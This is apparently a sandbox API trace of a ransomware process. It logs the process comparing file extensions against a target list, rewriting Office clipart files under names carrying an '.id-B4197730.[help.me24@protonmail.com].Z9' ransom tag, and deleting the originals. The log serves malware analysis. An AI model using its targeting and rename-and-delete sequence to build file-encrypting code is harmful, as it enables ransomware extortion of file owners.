	[0093.099] lstrlenW (lpString=".1cd") returned 4
	[0093.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0093.099] lstrlenW (lpString=".jpg") returned 4
	[0093.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0093.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0093.099] lstrlenW (lpString=".doc") returned 4
	[0093.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.099] lstrlenW (lpString=".docx") returned 5
	[0093.099] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.099] lstrlenW (lpString=".pdf") returned 4
	[0093.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.099] lstrlenW (lpString=".xls") returned 4
	[0093.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.099] lstrlenW (lpString=".xlsx") returned 5
	[0093.099] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.099] lstrlenW (lpString=".ppt") returned 4
	[0093.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0093.099] lstrlenW (lpString=".zip") returned 4
	[0093.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.099] lstrlenW (lpString=".rar") returned 4
	[0093.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.099] lstrlenW (lpString=".bz2") returned 4
	[0093.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.099] lstrlenW (lpString=".7z") returned 3
	[0093.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0093.099] lstrlenW (lpString=".dbf") returned 4
	[0093.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0093.099] lstrlenW (lpString=".1cd") returned 4
	[0093.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0093.100] lstrlenW (lpString=".jpg") returned 4
	[0093.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.100] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.100] lstrlenW (lpString="FD00779_.WMF") returned 12
	[0093.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0093.100] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=9010) returned 1
	[0093.100] CloseHandle (hObject=0x384) returned 1
	[0093.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x220
	[0093.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0093.100] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.101] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0093.101] GetLastError () returned 0x0
	[0093.101] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x2332, lpOverlapped=0x0) returned 1
	[0093.103] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x2340, lpOverlapped=0x0) returned 1
	[0093.104] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.105] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.105] SetEndOfFile (hFile=0x350) returned 1
	[0093.105] CloseHandle (hObject=0x350) returned 1
	[0093.105] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.105] SetEndOfFile (hFile=0x384) returned 1
	[0093.106] CloseHandle (hObject=0x384) returned 1
	[0093.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1
	[0093.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0093.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0093.106] lstrlenW (lpString=".doc") returned 4
	[0093.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.106] lstrlenW (lpString=".docx") returned 5
	[0093.106] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.106] lstrlenW (lpString=".pdf") returned 4
	[0093.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.106] lstrlenW (lpString=".xls") returned 4
	[0093.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.106] lstrlenW (lpString=".xlsx") returned 5
	[0093.106] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.106] lstrlenW (lpString=".ppt") returned 4
	[0093.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0093.107] lstrlenW (lpString=".zip") returned 4
	[0093.107] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.107] lstrlenW (lpString=".rar") returned 4
	[0093.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.107] lstrlenW (lpString=".bz2") returned 4
	[0093.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.107] lstrlenW (lpString=".7z") returned 3
	[0093.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0093.108] lstrlenW (lpString=".dbf") returned 4
	[0093.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0093.108] lstrlenW (lpString=".1cd") returned 4
	[0093.108] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0093.108] lstrlenW (lpString=".jpg") returned 4
	[0093.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0093.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0093.108] lstrlenW (lpString=".doc") returned 4
	[0093.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.108] lstrlenW (lpString=".docx") returned 5
	[0093.108] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.108] lstrlenW (lpString=".pdf") returned 4
	[0093.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.108] lstrlenW (lpString=".xls") returned 4
	[0093.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.108] lstrlenW (lpString=".xlsx") returned 5
	[0093.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.108] lstrlenW (lpString=".ppt") returned 4
	[0093.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0093.108] lstrlenW (lpString=".zip") returned 4
	[0093.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.109] lstrlenW (lpString=".rar") returned 4
	[0093.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.109] lstrlenW (lpString=".bz2") returned 4
	[0093.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.109] lstrlenW (lpString=".7z") returned 3
	[0093.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0093.109] lstrlenW (lpString=".dbf") returned 4
	[0093.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0093.109] lstrlenW (lpString=".1cd") returned 4
	[0093.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0093.109] lstrlenW (lpString=".jpg") returned 4
	[0093.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.109] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.109] lstrlenW (lpString="FD00799_.WMF") returned 12
	[0093.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0093.110] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=13968) returned 1
	[0093.110] CloseHandle (hObject=0x384) returned 1
	[0093.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x220
	[0093.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0093.110] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.110] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0093.110] GetLastError () returned 0x0
	[0093.110] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x3690, lpOverlapped=0x0) returned 1
	[0093.112] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x36a0, lpOverlapped=0x0) returned 1
	[0093.113] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.113] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.113] SetEndOfFile (hFile=0x350) returned 1
	[0093.113] CloseHandle (hObject=0x350) returned 1
	[0093.113] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.113] SetEndOfFile (hFile=0x384) returned 1
	[0093.114] CloseHandle (hObject=0x384) returned 1
	[0093.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1
	[0093.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0093.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0093.115] lstrlenW (lpString=".doc") returned 4
	[0093.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.115] lstrlenW (lpString=".docx") returned 5
	[0093.115] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.115] lstrlenW (lpString=".pdf") returned 4
	[0093.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.115] lstrlenW (lpString=".xls") returned 4
	[0093.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.115] lstrlenW (lpString=".xlsx") returned 5
	[0093.115] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.115] lstrlenW (lpString=".ppt") returned 4
	[0093.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0093.115] lstrlenW (lpString=".zip") returned 4
	[0093.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.115] lstrlenW (lpString=".rar") returned 4
	[0093.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.115] lstrlenW (lpString=".bz2") returned 4
	[0093.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.115] lstrlenW (lpString=".7z") returned 3
	[0093.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0093.115] lstrlenW (lpString=".dbf") returned 4
	[0093.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0093.115] lstrlenW (lpString=".1cd") returned 4
	[0093.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0093.116] lstrlenW (lpString=".jpg") returned 4
	[0093.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0093.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0093.116] lstrlenW (lpString=".doc") returned 4
	[0093.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.116] lstrlenW (lpString=".docx") returned 5
	[0093.116] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.116] lstrlenW (lpString=".pdf") returned 4
	[0093.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.116] lstrlenW (lpString=".xls") returned 4
	[0093.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.116] lstrlenW (lpString=".xlsx") returned 5
	[0093.116] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.116] lstrlenW (lpString=".ppt") returned 4
	[0093.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0093.116] lstrlenW (lpString=".zip") returned 4
	[0093.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.116] lstrlenW (lpString=".rar") returned 4
	[0093.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.116] lstrlenW (lpString=".bz2") returned 4
	[0093.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.116] lstrlenW (lpString=".7z") returned 3
	[0093.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0093.116] lstrlenW (lpString=".dbf") returned 4
	[0093.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0093.116] lstrlenW (lpString=".1cd") returned 4
	[0093.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0093.116] lstrlenW (lpString=".jpg") returned 4
	[0093.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.117] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.117] lstrlenW (lpString="FD00814_.WMF") returned 12
	[0093.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0093.403] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=42704) returned 1
	[0093.403] CloseHandle (hObject=0x320) returned 1
	[0093.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x220
	[0093.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0093.403] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.403] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.748] GetLastError () returned 0x0
	[0093.748] ReadFile (in: hFile=0x320, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xa6d0, lpOverlapped=0x0) returned 1
	[0093.750] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xa6e0, lpOverlapped=0x0) returned 1
	[0093.751] ReadFile (in: hFile=0x320, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.751] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.751] SetEndOfFile (hFile=0x338) returned 1
	[0093.752] CloseHandle (hObject=0x338) returned 1
	[0093.752] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.752] SetEndOfFile (hFile=0x320) returned 1
	[0093.753] CloseHandle (hObject=0x320) returned 1
	[0093.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1
	[0093.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0093.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0093.753] lstrlenW (lpString=".doc") returned 4
	[0093.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.753] lstrlenW (lpString=".docx") returned 5
	[0093.753] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.753] lstrlenW (lpString=".pdf") returned 4
	[0093.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.754] lstrlenW (lpString=".xls") returned 4
	[0093.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.754] lstrlenW (lpString=".xlsx") returned 5
	[0093.754] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.754] lstrlenW (lpString=".ppt") returned 4
	[0093.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0093.754] lstrlenW (lpString=".zip") returned 4
	[0093.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.754] lstrlenW (lpString=".rar") returned 4
	[0093.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.754] lstrlenW (lpString=".bz2") returned 4
	[0093.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.754] lstrlenW (lpString=".7z") returned 3
	[0093.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0093.754] lstrlenW (lpString=".dbf") returned 4
	[0093.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
